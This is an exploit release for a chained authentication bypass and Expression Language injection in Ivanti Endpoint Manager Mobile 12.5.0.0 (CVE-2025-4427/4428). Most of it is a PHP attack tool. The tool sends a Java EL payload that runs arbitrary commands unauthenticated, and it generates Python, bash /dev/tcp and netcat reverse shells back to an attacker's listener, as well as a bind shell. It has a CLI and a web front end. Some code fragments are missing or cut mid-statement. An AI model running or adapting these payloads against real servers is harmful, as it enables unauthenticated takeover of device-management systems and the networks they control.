============================================================================================================================================= | # Title : Ivanti Endpoint Manager Mobile 12.5.0.0 Expression Language Injection | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.ivanti.com/products/endpoint-manager-mobile | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/200146/ & CVE-2025-4427, CVE-2025-4428 [+] Summary : The exploit targets two critical vulnerabilities in Ivanti EPMM: CVE-2025-4427 - Authentication Bypass CVE-2025-4428 - Expression Language Injection The vulnerability chain allows unauthenticated attackers to execute arbitrary commands on the target system through Java Expression Language (EL) injection in the /mifs/rs/api/v2/featureusage endpoint. [+] Exploitation Mechanism Endpoint Discovery: The exploit targets /mifs/rs/api/v2/featureusage Payload Injection: Uses Java EL injection via the format parameter Command Execution: Leverages Java runtime reflection to execute system commands Result Extraction: Uses Java Scanner class to read command output [+] POC : php poc.php or http://127.0.0.1/poc.php php poc.php -t target.com -c php poc.php -t 192.168.1.100 -P command php poc.php -t target.com -P reverse_shell -H YOUR_IP -L 4444 target = $target; $this->port = $port; $this->ssl = $ssl; $this->base_path = rtrim($base_path, '/'); $this->timeout = 30; } /** * Vulnerability check */ public function check() { echo "[*] Checking Ivanti EPMM vulnerability...\n"; $command = 'id'; $response = $this->execute_command($command); if (!$response) { echo "[-] Failed to get response from target\n"; return "unknown"; } if (strpos($response, 'uid=') !== false && strpos($response, 'gid=') !== false) { echo "[+] ✓ Target is vulnerable!\n"; return "vulnerable"; } else { echo "[-] ✗ Target is not vulnerable\n"; return "safe"; } } /** * Execute remote command */ private function execute_command($command) { // Build Expression Language Injection payload $payload = $this->build_el_payload($command); $url = $this->build_url('/mifs/rs/api/v2/featureusage'); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url . '?format=' . urlencode($payload), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Status: $http_code\n"; return $response; } /** * Build Expression Language Injection payload */ private function build_el_payload($command) { // Java Expression Language Injection for command execution $payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('\\\\\\\\A').next()}"; return $payload; } /** * Main exploit execution */ public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) { echo "[*] Starting Ivanti EPMM exploitation...\n"; // Create payload based on type $payload_cmd = $this->generate_payload($payload_type, $lhost, $lport); if (!$payload_cmd) { echo "[-] Failed to generate payload\n"; return false; } echo "[*] Executing payload...\n"; $response = $this->execute_command($payload_cmd); if ($response) { echo "[+] ✓ Payload sent successfully\n"; echo "[*] Check your reverse connection\n"; return true; } else { echo "[-] ✗ Failed to execute payload\n"; return false; } } /** * Generate different payloads */ private function generate_payload($type, $lhost, $lport) { switch ($type) { case 'reverse_shell': if (!$lhost || !$lport) { echo "[-] IP and port required for reverse shell\n"; return false; } return $this->generate_reverse_shell($lhost, $lport); case 'bind_shell': if (!$lport) { echo "[-] Port required for bind shell\n"; return false; } return $this->generate_bind_shell($lport); case 'command': return 'id; whoami; uname -a; pwd'; default: return 'id; whoami'; } } /** * Generate reverse shell */ private function generate_reverse_shell($lhost, $lport) { // Multiple reverse shells $shells = [ // Python reverse shell "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$lhost}\",{$lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'", // Bash reverse shell "bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'", // Netcat reverse shell "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {$lhost} {$lport} >/tmp/f" ]; return $shells[0]; // Use Python as default } /** * Generate bind shell */ private function generate_bind_shell($lport) { return "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"0.0.0.0\",{$lport}));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0); os.dup2(conn.fileno(),1); os.dup2(conn.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"; } /** * Build full URL */ private function build_url($path) { $protocol = $this->ssl ? 'https' : 'http'; $full_path = $this->base_path . $path; return "{$protocol}://{$this->target}:{$this->port}{$full_path}"; } } // CLI Interface if (php_sapi_name() === 'cli') { echo " ██╗██╗ ██╗ █████╗ ███╗ ██╗████████╗██╗ ██║██║ ██║██╔══██╗████╗ ██║╚══██╔══╝██║ ██║██║ ██║███████║██╔██╗ ██║ ██║ ██║ ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║ ██║ ██║ ██║ ╚████╔╝ ██║ ██║██║ ╚████║ ██║ ██║ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ Ivanti EPMM RCE ExploitPHP Implementation \n"; $options = getopt("t:p:s:u:c:P:L:H:", [ "target:", "port:", "ssl", "uri:", "check", "payload:", "lhost:", "lport:" ]); $target = $options['t'] ?? $options['target'] ?? null; $port = $options['p'] ?? $options['port'] ?? 443; $ssl = isset($options['s']) || isset($options['ssl']); $base_uri = $options['u'] ?? $options['uri'] ?? '/'; $check_only = isset($options['c']) || isset($options['check']); $payload_type = $options['P'] ?? $options['payload'] ?? 'command'; $lhost = $options['H'] ?? $options['lhost'] ?? null; $lport = $options['L'] ?? $options['lport'] ?? 4444; if (!$target) { echo "Usage: php poc.php [options]\n"; echo "Options:\n"; echo " -t, --target Target host (required)\n"; echo " -p, --port Target port (default: 443)\n"; echo " -s, --ssl Use SSL (default: true)\n"; echo " -u, --uri Base URI path (default: /)\n"; echo " -c, --check Check only (don't exploit)\n"; echo " -P, --payload Payload type: command, reverse_shell, bind_shell (default: command)\n"; echo " -H, --lhost Listener host for reverse shell\n"; echo " -L, --lport Listener port for reverse shell (default: 4444)\n"; echo "\nExamples:\n"; echo " php poc.php -t 192.168.1.100 -c\n"; echo " php poc.php -t target.com -P reverse_shell -H 10.0.0.5 -L 4444\n"; exit(1); } $exploit = new IvantiEPMMExploit($target, $port, $ssl, $base_uri); if ($check_only) { $result = $exploit->check(); echo "\n[*] Result: {$result}\n"; } else { if ($exploit->exploit($payload_type, $lhost, $lport)) { echo "[+] Exploitation completed successfully\n"; } else { echo "[-] Exploitation failed\n"; } } } else { // Web Interface - FIXED VERSION // Check if form was submitted $action = $_POST['action'] ?? ''; if ($action === 'check' || $action === 'exploit') { $target = $_POST['target'] ?? ''; $port = $_POST['port'] ?? 443; $ssl = isset($_POST['ssl']); $base_uri = $_POST['uri'] ?? '/'; $payload_type = $_POST['payload_type'] ?? 'command'; $lhost = $_POST['lhost'] ?? ''; $lport = $_POST['lport'] ?? 4444; if (empty($target)) { echo "
$output"; } // Show the form again after execution echo 'Back to Form'; } else { // Display the form echo '
Vulnerability: Authentication Bypass + Expression Language Injection
Affected Products: Ivanti EPMM, MobileIron Core
Impact: Unauthenticated Remote Code Execution
Endpoint: /mifs/rs/api/v2/featureusage
CVSS Score: 9.8 (Critical)